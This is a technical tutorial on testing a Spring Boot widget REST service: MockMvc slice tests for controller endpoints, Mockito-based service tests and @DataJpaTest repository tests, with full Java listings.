<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/TestingSpringMVC-fig1.png?w=1024" alt="Diagram of a Spring MVC web service application." class="wp-image-4078126" width="1024" height="286" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Steven Haines</p></div>



<p class="wp-block-paragraph">This is a classic MVC pattern. We have a <em>widget controller</em> that handles <a href="https://www.infoworld.com/article/2334742/what-is-rest-the-de-facto-web-architecture-standard.html">RESTful requests</a> and delegates its business functionality to a <em>widget service</em>, which uses a <em>widget repository</em> to persist widgets to and from an in-memory H2 database.</p>



<p class="wp-block-paragraph"><strong>Get the source: <a href="https://b2b-contenthub.com/wp-content/uploads/2025/10/spring-mvc-unit-testing-iw.zip" data-type="link" data-id="https://b2b-contenthub.com/wp-content/uploads/2025/10/spring-mvc-unit-testing-iw.zip">Download the source code for this article</a>.</strong></p>



<h2 class="wp-block-heading">Unit testing a Spring MVC controller with MockMvc</h2>



<p class="wp-block-paragraph">Setting up a Spring MVC controller test is a two-step process:</p>



<ul class="wp-block-list">
<li>Annotate your test class with <code>@WebMvcTest</code>.</li>



<li>Autowire a <code>MockMvc</code> instance into your controller.</li>
</ul>



<p class="wp-block-paragraph">We could annotate all our test classes with <code>@SpringBootTest</code>, but we’ll use <code>@WebMvcTest</code> instead. The reason is that the <code>@WebMvcTest</code> annotation is used for <em>slice testing</em>. Whereas <code>@SpringBootTest</code> loads your entire Spring application context, <code>@WebMvcTest</code> loads only your web-related resources. Furthermore, if you specify a controller class in the annotation, it will only load the specific controller you want to test. Testing a single “slice” of your application reduces both the amount of compute resources required to set up the test and the time required to run a test.</p>



<p class="wp-block-paragraph">For example, when we test a controller, we’ll mock just the services it uses, and we won’t need any repositories at all. If we don’t need them, then we needn’t waste time loading them. Slice tests were created to make tests perform better and run faster.</p>



<p class="wp-block-paragraph">Here’s the source code for the <code>Widget</code> class we’ll be managing:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.model;
import jakarta.persistence.Entity;
import jakarta.persistence.GeneratedValue;
import jakarta.persistence.GenerationType;
import jakarta.persistence.Id;

@Entity
public class Widget {
    @Id
    @GeneratedValue(strategy = GenerationType.AUTO)
    private Long id;
    private String name;
    private int version;

    public Widget() {
    }

    public Widget(String name) {
        this.name = name;
    }

    public Widget(String name, int version) {
        this.name = name;
        this.version = version;
    }

    public Widget(Long id, String name, int version) {
        this.id = id;
        this.name = name;
        this.version = version;
    }

    public Long getId() {
        return id;
    }

    public void setId(Long id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getVersion() {
        return version;
    }

    public void setVersion(int version) {
        this.version = version;
    }
}</code></pre>



<p class="wp-block-paragraph">A <code>Widget</code> is a <a href="https://www.infoworld.com/article/2259807/what-is-jpa-introduction-to-the-java-persistence-api.html">JPA entity</a> that manages three fields:</p>



<ul class="wp-block-list">
<li><em>id</em> is the primary key of the table, annotated with <code>@Id</code> and <code>@GeneratedValue</code>, with an automatic generation strategy.</li>



<li><em>name</em> is the name of the widget.</li>



<li><em>version</em> is the version of the widget resource. We’ll use this value to populate our <code>eTag</code> value and check it in our <code>PUT</code> operation’s <code>If-Match </code>header value. This ensures the widget being updated is not stale.</li>
</ul>



<p class="wp-block-paragraph">Here’s the source code for the controller we’ll be testing (<code>WidgetController.java</code>):</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.web;

import java.net.URI;
import java.net.URISyntaxException;
import java.util.List;
import java.util.Optional;
import com.infoworld.widgetservice.model.Widget;
import com.infoworld.widgetservice.service.WidgetService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class WidgetController {
    @Autowired
    private WidgetService widgetService;
    @GetMapping("/widget/{id}")
    public ResponseEntity getWidget(@PathVariable Long id) {
        return widgetService.findById(id)
                .map(widget -&gt; {
                    try {
                        return ResponseEntity
                                .ok()
                                .location(new URI("/widget/" + id))
                                .eTag(Integer.toString(
                                               widget.getVersion()))
                                .body(widget);
                    } catch (URISyntaxException e) {
                        return ResponseEntity
                          .status(HttpStatus.INTERNAL_SERVER_ERROR)
                          .build();
                    }
                })
                .orElse(ResponseEntity.notFound().build());
    }
    @GetMapping("/widgets")
    public List getWidgets() {
        return widgetService.findAll();
    }
    @PostMapping("/widgets")
    public ResponseEntity createWidget(@RequestBody Widget widget)
    {
        Widget newWidget = widgetService.create(widget);
        try {
           return ResponseEntity
                   .created(new URI("/widget/" + newWidget.getId()))
                   .eTag(Integer.toString(newWidget.getVersion()))
                   .body(newWidget);
        } catch (URISyntaxException e) {
            return ResponseEntity
                    .status(HttpStatus.INTERNAL_SERVER_ERROR)
                    .build();
        }
    }

    @PutMapping("/widget/{id}")
    public ResponseEntity updateWidget(@PathVariable Long id,
                                          @RequestBody Widget widget,
                         @RequestHeader("If-Match") Integer ifMatch) {
        Optional existingWidget = widgetService.findById(id);
        return existingWidget.map(w -&gt; {
            if (w.getVersion() != ifMatch) {
                return ResponseEntity.status(HttpStatus.CONFLICT)
                                     .build();
            }

            w.setName(widget.getName());
            w.setVersion(w.getVersion() + 1);

            Widget updatedWidget = widgetService.save(w);
            try {
                return ResponseEntity.ok()
                        .location(new URI("/widget/" + 
                                      updatedWidget.getId()))
                        .eTag(Integer.toString(
                                      updatedWidget.getVersion()))
                        .body(updatedWidget);
            } catch (URISyntaxException e) {
                throw new RuntimeException(e);
            }
        }).orElse(ResponseEntity.notFound().build());
    }

    @DeleteMapping("widget/{id}")
    public ResponseEntity deleteWidget(@PathVariable Long id) {
        Optional existingWidget = widgetService.findById(id);
        return existingWidget.map(w -&gt; {
           widgetService.deleteById(w.getId());
           return ResponseEntity.ok().build();
        }).orElse(ResponseEntity.notFound().build());
    }
}</code></pre>



<p class="wp-block-paragraph">The <code>WidgetController</code> handles <code>GET</code>, <code>POST</code>, <code>PUT</code>, and <code>DELETE</code> operations, following standard RESTful principles, so we’re going to write tests for each operation.</p>



<p class="wp-block-paragraph">The following source code shows the structure of our test class (<code>WidgetControllerTest.java</code>):</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.web;

@WebMvcTest(WidgetController.class)
public class WidgetControllerTest {
    @Autowired
    private MockMvc mockMvc;

    @MockitoBean
    private WidgetService widgetService;
}</code></pre>



<p class="wp-block-paragraph">I omitted the imports for readability, but the important thing to note is that the class is annotated with the <code>@WebMvcTest</code> annotation, and that we pass in the <code>WidgetController.class</code> as the controller we’re testing. This tells Spring to only load the <code>WidgetController</code> and no other Spring resources. The <code>@WebMvcTest</code> annotation includes other annotations, but the important one for our tests is <code>@AutoConfigureMockMvc</code>, which will cause Spring to create a <code>MockMvc</code> instance and add it to the application context. That lets us autowire it into our test class using the <code>@Autowired</code> annotation.</p>



<p class="wp-block-paragraph">Next, we use the <code>@MockitoBean</code> annotation to use Mockito to create a mock implementation of the <code>WidgetService</code>, after which Spring will autowire it into the <code>WidgetController</code> class. This lets us control the behavior of the <code>WidgetService</code> for the <code>WidgetController</code> test cases we’re writing. Note that starting in Spring Boot version 3.4, <code>@MockitoBean</code> replaced <code>@MockBean</code>. Everything you know about <code>@MockBean</code> translates to using <code>@MockitoBean</code>—with some improvements.</p>



<h3 class="wp-block-heading">Unit testing GET /widgets</h3>



<p class="wp-block-paragraph">Let’s start with the easiest test case, a test for <code>GET /widgets</code>:</p>



<pre class="wp-block-code"><code>@Test
void testGetWidgets() throws Exception {
    List widgets = new ArrayList();
    widgets.add(new Widget(1L, "Widget 1", 1));
    widgets.add(new Widget(2L, "Widget 2", 1));
    widgets.add(new Widget(3L, "Widget 3", 1));

    when(widgetService.findAll()).thenReturn(widgets);

    mockMvc.perform(get("/widgets"))
            .andExpect(status().isOk())
            .andExpect(jsonPath("$.length()").value(3))
            .andExpect(jsonPath("$[0].id").value(1L))
            .andExpect(jsonPath("$[0].name").value("Widget 1"))
            .andExpect(jsonPath("$[0].version").value(1));
};</code></pre>



<p class="wp-block-paragraph">The <code>testGetWidgets()</code> method creates a list of three widgets and then configures the mock <code>WidgetService</code> to return the list when its <code>findAll()</code> method is called. The <code>WidgetControllerTest</code> class statically imports the <code>org.mockito.Mockito.when()</code> method that accepts a method call, which in this case is <code>widgetService.findAll()</code>, and returns a Mockito <code>OngoingStubbing</code> instance. This <code>OngoingStubbing</code> instance exposes methods like <code>thenReturn()</code>, <code>thenThrow()</code>, <code>thenCallRealMethod()</code>, <code>thenAnswer()</code>, and <code>then()</code>.</p>



<p class="wp-block-paragraph">Here, we use the <code>thenReturn()</code> method to tell Mockito to return the list of widgets when the <code>WidgetService</code>’s <code>findAll()</code> method is called. The <code>@MockitoBean</code> annotation causes the mock <code>WidgetService</code> to be autowired into the <code>WidgetController</code>. So, when the <code>getWidgets()</code> method is called in response to a <code>GET /widgets</code>, it calls the <code>WidgetService</code>’s <code>findAll()</code> method and returns our list of widgets as a web response.</p>



<p class="wp-block-paragraph">Next, we use <code>MockMvc</code>’s <code>perform()</code> method to execute a web request. This diagram shows the various classes that interact with the  <code>perform()</code> method:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/TestingSpringMVC-fig2.png?w=1024" alt="Diagram of classes that interact with the MockMvc perform() method." class="wp-image-4078130" width="1024" height="439" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Steven Haines</p></div>



<p class="wp-block-paragraph">The <code>perform()</code> method accepts a <code>RequestBuilder</code>. Spring defines several built-in <code>RequestBuilder</code>s that we can statically import into our tests, including <code>get()</code>, <code>post()</code>, <code>put()</code>, and <code>delete()</code>. The <code>perform()</code> method returns a <code>ResultActions</code> instance that exposes methods such as <code>andExpect()</code>, <code>andExpectAll()</code>, <code>andDo()</code>, and <code>andReturn()</code>. Here, we invoke the <code>andExpect()</code> method, which accepts a <code>ResultMatcher</code>. </p>



<p class="wp-block-paragraph">A <code>ResultMatcher</code> defines a<code> match()</code> method that throws an <code>AssertionError</code> if the assertion fails. Spring defines several <code>ResultMatcher</code>s that we can statically import:</p>



<ul class="wp-block-list">
<li><code>status()</code> allows us to check the HTTP status code of response.</li>



<li><code>content()</code> allows us to check the content headers of the response, such as <code>Content-Type</code>.</li>



<li><code>header()</code> allows us to check any of the HTTP header values.</li>



<li><code>jsonPath()</code> allows us to inspect the contents of a <a href="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html" data-type="link" data-id="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html">JSON document</a>.</li>
</ul>



<p class="wp-block-paragraph">After MockMvc performs a <code>GET to /widgets</code>, we expect the HTTP status code to be <code>200 OK</code>.  We can then use the <code>jsonPath</code> matcher to check the body results, using the following JSON path expressions:</p>



<ul class="wp-block-list">
<li><code>$.length()</code>: The <code>$</code> references the root of the JSON document. If the response is a list, then we can call the <code>length()</code> method to get the number of elements in the list.</li>



<li><code>$[0].id</code>: JSON path expressions for a list use an array syntax starting at 0. This expression gets the ID of the first element in the list.</li>



<li><code>$[0].name</code>: This expression gets the name of the first element and compares it to “<code>Widget 1</code>”.</li>



<li><code>$[0].version</code>: This expression gets the version of the first element and compares it to 1.</li>
</ul>



<h3 class="wp-block-heading">Unit testing the GET /widget/{id} handler</h3>



<p class="wp-block-paragraph">Here’s the source code to test the <code>GET /coffee/{id}</code> widget:</p>



<pre class="wp-block-code"><code>@Test
void testGetWidgetById() throws Exception {
    Widget widget = new Widget(1L, "My Widget", 1);          
    when(widgetService.findById(1L))
           .thenReturn(Optional.of(widget));

    mockMvc.perform(get("/widget/{id}", 1))
            // Validate that we get a 200 OK Response Code
            .andExpect(status().isOk())

            // Validate Headers
            .andExpect(content()
                      .contentType(MediaType.APPLICATION_JSON))
            .andExpect(header().string(HttpHeaders.LOCATION,
                                       "/widget/1"))
            .andExpect(header().string(HttpHeaders.ETAG, "\"1\""))

            // Validate content
            .andExpect(jsonPath("$.id").value(1L))
            .andExpect(jsonPath("$.name").value("My Widget"))
            .andExpect(jsonPath("$.version").value(1));
 }</code></pre>



<p class="wp-block-paragraph">This test method is very similar to the <code>testGetWidgets()</code> method, but with some notable changes:</p>



<ul class="wp-block-list">
<li>The <code>GET</code> URI is defined using a URI template. You can specify any number of variables enclosed in braces in the URI template and then send a list of arguments that will replace those variables in the order they appear in the template.</li>



<li>We check that the returned <code>Content-Type</code> is <code>“application/json”</code>, which is a constant in the <code>MediaType</code> class. We access the content using the <code>content()</code> method, which returns a <code>ContentResultMatchers</code> instance that provides various methods, including <code>contentType()</code>, which allows us to validate the content headers.</li>



<li>We check for specific header values using the <code>header()</code> method. The <code>header()</code> method returns a <code>HeadersResultMatchers</code> instance, which can check for header <code>String</code>, <code>long</code>, and <code>date</code> values, as well as checking to see whether or not specific headers exist. In this case, we use constants defined in the <code>HttpHeaders</code> class to check the <code>location</code> and <code>eTag</code> header values.</li>



<li>We check the body of the response using JSON path expressions. In this case, we do not have a list of objects, so we can access the individual fields in the JSON document directly. For example, <code>$.id</code> retrieves the <code>id</code> field value in the root of the document.</li>
</ul>



<h3 class="wp-block-heading">Unit testing a GET /widget/{id} Not Found code</h3>



<p class="wp-block-paragraph">Next, we test the <code>GET /widget/{id}</code>, passing it an invalid ID so that it returns a 404 Not Found response code:</p>



<pre class="wp-block-code"><code>@Test
void testGetWidgetByIdNotFound() throws Exception {
   when(widgetService.findById(1L)).thenReturn(Optional.empty());

   mockMvc.perform(get("/widget/{id}", 1))
            // Validate that we get a 404 Not Found Response Code
            .andExpect(status().isNotFound());
}</code></pre>



<p class="wp-block-paragraph">The <code>testGetWidgetByIdNotFound()</code> method configures the mock <code>WidgetService</code> to return <code>Optional.empty()</code> when its <code>findById()</code> is called with a value of 1. We then perform a <code>GET</code> request to <code>/widget/1</code>, then assert that the returned HTTP status code is 404 Not Found.</p>



<h3 class="wp-block-heading">Unit testing POST /widgets</h3>



<p class="wp-block-paragraph">Here’s how to test a <code>Widget</code> creation:</p>



<pre class="wp-block-code"><code>@Test
void testCreateWidget() throws Exception {
    Widget widget = new Widget(1L, "Widget 1", 1);
    when(widgetService.create(any())).thenReturn(widget);

    mockMvc.perform(post("/widgets")
            .contentType(MediaType.APPLICATION_JSON)
            .content("{\"name\": \"Widget 1\"}"))

            // Validate that we get a 201 Created Response Code
            .andExpect(status().isCreated())

            // Validate Headers
            .andExpect(content().contentType(
                                      MediaType.APPLICATION_JSON))
            .andExpect(header().string(HttpHeaders.LOCATION, 
                                       "/widget/1"))
            .andExpect(header().string(HttpHeaders.ETAG, "\"1\""))

            // Validate content
            .andExpect(jsonPath("$.id").value(1L))
            .andExpect(jsonPath("$.name").value("Widget 1"))
            .andExpect(jsonPath("$.version").value(1));</code></pre>



<p class="wp-block-paragraph">The <code>testCreateWidget()</code> method first creates a <code>Widget</code> to return when the <code>WidgetService</code>’s <code>create()</code> method is called with any argument. The <code>any()</code> matcher matches any argument and, because the <code>createWidget()</code> handler will create a new <code>Widget</code> instance, we will not have access to that instance when the test runs. We then invoke MockMvc’s <code>perform()</code> method to the <code>”/widgets”</code> URI, sending the content body of a new widget named <code>“Widget 1”</code>, using the <code>content()</code> method. We expect a 201 Created HTTP response code, an “<code>application/json</code>” content type, a location header of “<code>/widget/1</code>”, and an <code>eTag</code> value of the <code>String</code> “<code>1</code>”. The body of the response should match the <code>Widget</code> we returned from the <code>create()</code> method, namely an ID of 1, a name of “Widget 1”, and a version of 1.</p>



<h3 class="wp-block-heading">Unit testing PUT /widget</h3>



<p class="wp-block-paragraph">This code runs three tests for the <code>PUT</code> operation:</p>



<pre class="wp-block-code"><code>@Test
public void testSuccessfulUpdate() throws Exception {
    // Create a mock Widget when the WidgetService's findById(1L) 
    // is called
    Widget mockWidget = new Widget(1L, "Widget 1", 5);
    when(widgetService.findById(1L))
                      .thenReturn(Optional.of(mockWidget));

    // Create a mock Coffee that is returned when the 
    // CoffeeController saves the Coffee to the database
    Widget savedWidget = new Widget(1L, "Updated Widget 1", 6);
    when(widgetService.save(any())).thenReturn(savedWidget);

    // Execute a PUT /widget/1 with a matching version: 5
    mockMvc.perform(put("/widget/{id}", 1L)
                    .contentType(MediaType.APPLICATION_JSON)
                    .header(HttpHeaders.IF_MATCH, 5)
                    .content("{\"id\": 1, " +
                             "\"name\": \"Updated Widget 1\"}"))

            // Validate that we get a 200 OK HTTP Response
           .andExpect(status().isOk())

            // Validate the headers
           .andExpect(content()
                        .contentType(MediaType.APPLICATION_JSON))
           .andExpect(header().string(HttpHeaders.LOCATION, 
                                      "/widget/1"))
           .andExpect(header().string(HttpHeaders.ETAG, "\"6\""))

           // Validate the contents of the response
           .andExpect(jsonPath("$.id").value(1L))
           .andExpect(jsonPath("$.name")
                               .value("Updated Widget 1"))
           .andExpect(jsonPath("$.version").value(6));
}

@Test
public void testUpdateConflict() throws Exception {
   // Create a mock coffee with a version set to 5
   Widget mockWidget = new Widget(1L, "Widget 1", 5);

    // Return the mock Coffee when the CoffeeService's 
    // findById(1L) is called
    when(widgetService.findById(1L))
                      .thenReturn(Optional.of(mockWidget));

    // Execute a PUT /widget/1 with a mismatched version number: 2
    mockMvc.perform(put("/widget/{id}", 1L)
                    .contentType(MediaType.APPLICATION_JSON)
                    .header(HttpHeaders.IF_MATCH, 2)
                    .content("{\"id\": 1, " + 
                             "\"name\":  \"Updated Widget 1\"}"))
             // Validate that we get a 409 Conflict HTTP Response
            .andExpect(status().isConflict());
}

@Test
public void testUpdateNotFound() throws Exception {
   // Return the mock Coffee when the CoffeeService's 
   // findById(1L) is called
   when(widgetService.findById(1L)).thenReturn(Optional.empty());

   // Execute a PUT /coffee/1 with a mismatched version number: 2
   mockMvc.perform(put("/widget/{id}", 1L)
                    .contentType(MediaType.APPLICATION_JSON)
                    .header(HttpHeaders.IF_MATCH, 2)
                    .content("{\"id\": 1, " + 
                             "\"name\":  \"Updated Coffee 1\"}"))

           // Validate that we get 404 Not Found
           .andExpect(status().isNotFound());
}</code></pre>



<p class="wp-block-paragraph">We have three variations:</p>



<ul class="wp-block-list">
<li>A successful update.</li>



<li>A failed update because of a version conflict.</li>



<li>A failed update because the widget was not found.</li>
</ul>



<p class="wp-block-paragraph">In RESTful web services, version management is handled by the entity tag, or<code> eTag</code>. When you retrieve an entity, it has an <code>eTag</code> value. When you want to update the entity, you pass that <code>eTag</code> value in the <code>If-Match</code> HTTP header. If the <code>If-Match</code> header does not match the current <code>eTag</code>, which is the <code>Widget</code> version in our implementation, then the <code>PUT</code> handler returns a 409 Conflict HTTP response code. If you get this error, it means that you need to retrieve the entity again and retry your operation. This way, if two different clients attempt to update the same entity simultaneously, only one will succeed.</p>



<p class="wp-block-paragraph">In the <code>testSuccessfulUpdate() </code>method, we return a <code>Widget</code> with a version of 5 when the <code>WidgetService</code>’s <code>findById()</code> method is called. We then pass an <code>If-Match</code> header value of 5 and then validate that we get a 200 OK HTTP response code and the expected header and body values. In the <code>testUpdateConflict()</code> method, we do the same thing, but we set the <code>If-Match</code> header to 2, which does not match 5, so we validate that we get a 409 Conflict HTTP response code. And finally, in the <code>testUpdateNotFound()</code> method, we configure the <code>WidgetService</code> to return an <code>Optional.empty()</code> when its <code>findById()</code> method is called, so we execute the <code>PUT</code> operation and validate that we get a 404 Not Found HTTP response code.</p>



<h3 class="wp-block-heading">Unit testing DELETE /widget</h3>



<p class="wp-block-paragraph">Finally, here is the source code for our two <code>DELETE /widget</code> tests:</p>



<pre class="wp-block-code"><code>@Test
void testDeleteSuccess() throws Exception {
    // Setup mocked product
    Widget mockWidget = new Widget(1L, "Widget 1", 5);

    // Setup the mocked service
    when(widgetService.findById(1L))
                      .thenReturn(Optional.of(mockWidget));
    doNothing().when(widgetService).deleteById(1L);

    // Execute our DELETE request
    mockMvc.perform(delete("/widget/{id}", 1L))
            .andExpect(status().isOk());
}

@Test
void testDeleteNotFound() throws Exception {
    // Setup the mocked service
    when(widgetService.findById(1L)).thenReturn(Optional.empty());

    // Execute our DELETE request
    mockMvc.perform(delete("/widget/{id}", 1L))
            .andExpect(status().isNotFound());
}</code></pre>



<p class="wp-block-paragraph">The <code>DELETE</code> handler first tries to find the widget by ID and then calls the<code> WidgetService</code>’s <code>deleteById()</code> method. The <code>testDeleteSuccess()</code> method configures the <code>WidgetService</code> to return a mock <code>Widget</code> when the <code>findById()</code> method is called and then configures it to do nothing when the <code>deleteById()</code> method is called. The <code>deleteById()</code> method returns void, so we do not need to mock a response, though we do want to allow the method to be called. We execute the <code>DELETE</code> operation and validate that we receive a 200 OK HTTP response code. The<code> testDeleteNotFound()</code> method configures the <code>WidgetService</code> to return <code>Optional.empty()</code> when its <code>findById()</code> method is called. We execute the <code>DELETE</code> operation and validate that we receive a 404 Not Found HTTP response code.</p>



<p class="wp-block-paragraph">At this point, we have a comprehensive set of tests for all of our controller operations. Let’s continue down our stack and test our service.</p>



<h2 class="wp-block-heading">Unit testing a Spring MVC service</h2>



<p class="wp-block-paragraph">Next, we’ll test a <code>WidgetService</code> class, shown here:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.service;

import java.util.List;
import java.util.Optional;

import com.infoworld.widgetservice.model.Widget;
import com.infoworld.widgetservice.repository.WidgetRepository;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

@Service
public class WidgetService {
    @Autowired
    private WidgetRepository widgetRepository;

    public List findAll() {
        return widgetRepository.findAll();
    }

    public Optional findById(Long id) {
        return widgetRepository.findById(id);
    }

    public Widget create(Widget widget) {
        widget.setVersion(1);
        return widgetRepository.save(widget);
    }

    public Widget save(Widget widget) {
        return widgetRepository.save(widget);
    }

    public void deleteById(Long id) {
        widgetRepository.deleteById(id);
    }
}</code></pre>



<p class="wp-block-paragraph">The <code>WidgetService</code> is very simple. It autowires in a <code>WidgetRepository</code> and then delegates almost all its functionality to the <code>WidgetRepository</code>. The only business logic it implements is that it sets the <code>Widget</code> version to 1 in the <code>create()</code> method, when it is persisting a new <code>Widget</code> to the database.</p>



<p class="wp-block-paragraph">While Spring supports slice testing for our controller and (as you’ll soon see) our repository, it doesn’t have a slice testing annotation for our service. We could use the <code>@SpringBootTest</code> annotation, but then Spring would load all the controllers, repositories, and any other Spring resources in our application into the Spring application context. We can avoid by using Mockito directly. </p>



<p class="wp-block-paragraph">Here is the source code for the <code>WidgetServiceTest</code> class:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.service;

import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.mockito.Mockito.when;

import java.util.Optional;

import com.infoworld.widgetservice.model.Widget;
import com.infoworld.widgetservice.repository.WidgetRepository;

import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.InjectMocks;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;

@ExtendWith(MockitoExtension.class)
public class WidgetServiceTest {
    @Mock
    private WidgetRepository repository;

    @InjectMocks
    private WidgetService service;

    @Test
    void testFindById() {
        Widget widget = new Widget(1L, "My Widget", 1);
        when(repository.findById(1L)).thenReturn(Optional.of(widget));

        Optional w = service.findById(1L);
        assertTrue(w.isPresent());
        assertEquals(1L, w.get().getId());
        assertEquals("My Widget", w.get().getName());
        assertEquals(1, w.get().getVersion());
    }
}</code></pre>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4009216/advanced-unit-testing-with-junit-5-mockito-and-hamcrest.html">JUnit 5 supports extensions</a> and Mockito has defined a test extension that we can access through the <code>@ExtendWith</code> annotation. This extension allows Mockito to read our class, find objects to mock, and inject mocks into other classes. The <code>WidgetServiceTest </code>tells Mockito to create a mock <code>WidgetRepository</code>, by annotating it with the <code>@Mock</code> annotation, and then to inject that mock into the <code>WidgetService</code>, using the <code>@InjectMocks</code> annotation. The result is that we have a <code>WidgetService</code> that we can test and it will have a mock <code>WidgetRepository</code> that we can configure for our test cases.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/4009216/advanced-unit-testing-with-junit-5-mockito-and-hamcrest.html">Advanced unit testing with JUnit 5, Mockito, and Hamcrest</a>.</strong></p>



<p class="wp-block-paragraph">This is not a comprehensive test, but it should get you started. It has a single method, <code>testFindById()</code>, that demonstrates how to test a service method. It creates a mock <code>Widget</code> instance and then uses the Mockito <code>when()</code> method, just as we used in the controller test, to configure the <code>WidgetRepository</code> to return an <code>Optional</code> of that <code>Widget</code> when its <code>findById()</code> method is called. Then it invokes the <code>WidgetService</code>’s <code>findById()</code> method and validates that the mock <code>Widget</code> is returned.</p>



<h2 class="wp-block-heading">Slice testing a Spring Data JPA repository</h2>



<p class="wp-block-paragraph">Next, we’ll slice test our JPA repository (<code>WidgetRepository.java</code>), shown here:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.repository;

import java.util.List;
import com.infoworld.widgetservice.model.Widget;
import org.springframework.data.jpa.repository.JpaRepository;

public interface WidgetRepository extends JpaRepository {
    List findByName(String name);
}</code></pre>



<p class="wp-block-paragraph">The <code>WidgetRepository</code> is a Spring Data JPA repository, which means that we define the interface and Spring generates the implementation. It extends the <code>JpaRepository</code> interface, which accepts two arguments:</p>



<ul class="wp-block-list">
<li>The type of entity that it persists, namely a <code>Widget</code>.</li>



<li>The type of primary key, which in this case is a <code>Long</code>.</li>
</ul>



<p class="wp-block-paragraph">It generates common CRUD method implementations for us to create, update, delete, and find widgets, and then we can define our own query methods using a specific naming convention. For example, we define a <code>findByName()</code> method that returns a <code>List</code> of <code>Widget</code>s. Because “<code>name</code>” is a field in our <code>Widget</code> entity, Spring will generate a query that finds all widgets with the specified name.</p>



<p class="wp-block-paragraph">Here is our <code>WidgetRepositoryTest</code> class:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.repository;

import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertNull;

import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;

import com.infoworld.widgetservice.model.Widget;

import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.boot.test.autoconfigure.orm.jpa.TestEntityManager;

@DataJpaTest
public class WidgetRepositoryTest {
    @Autowired
    private TestEntityManager entityManager;

    @Autowired
    private WidgetRepository widgetRepository;

    private final List widgetIds = new ArrayList();
    private final List testWidgets = Arrays.asList(
            new Widget("Widget 1", 1),
            new Widget("Widget 2", 1),
            new Widget("Widget 3", 1)
    );

    @BeforeEach
    void setup() {
        testWidgets.forEach(widget -&gt; {
            entityManager.persist(widget);
            widgetIds.add((Long)entityManager.getId(widget));
        });
        entityManager.flush();
    }

    @AfterEach
    void teardown() {
        widgetIds.forEach(id -&gt; {
            Widget widget = entityManager.find(Widget.class, id);
            if (widget != null) {
                entityManager.remove(widget);
            }
        });
        widgetIds.clear();
    }

    @Test
    void testFindAll() {
        List widgetList = widgetRepository.findAll();
        assertEquals(3, widgetList.size());
    }

    @Test
    void testFindById() {
        Widget widget = widgetRepository.findById(
                               widgetIds.getFirst()).orElse(null);

        assertNotNull(widget);
        assertEquals(widgetIds.getFirst(), widget.getId());
        assertEquals("Widget 1", widget.getName());
        assertEquals(1, widget.getVersion());
    }

    @Test
    void testFindByIdNotFound() {
        Widget widget = widgetRepository.findById(
            widgetIds.getFirst() + testWidgets.size()).orElse(null);
        assertNull(widget);
    }

    @Test
    void testCreateWidget() {
        Widget widget = new Widget("New Widget", 1);
        Widget insertedWidget = widgetRepository.save(widget);

        assertNotNull(insertedWidget);
        assertEquals("New Widget", insertedWidget.getName());
        assertEquals(1, insertedWidget.getVersion());
        widgetIds.add(insertedWidget.getId());
    }

    @Test
    void testFindByName() {
        List found = widgetRepository.findByName("Widget 2");
        assertEquals(1, found.size(), "Expected to find 1 Widget");

        Widget widget = found.getFirst();
        assertEquals("Widget 2", widget.getName());
        assertEquals(1, widget.getVersion());
    }
}</code></pre>



<p class="wp-block-paragraph">The <code>WidgetRepositoryTest</code> class is annotated with the <code>@DataJpaTest</code> annotation, which is a slice-testing annotation that loads repositories and entities into the Spring application context and creates a <code>TestEntityManager</code> that we can autowire into our test class. The <code>TestEntityManager</code> allows us to perform database operations outside of our repository so that we can set up and tear down our test scenarios.</p>



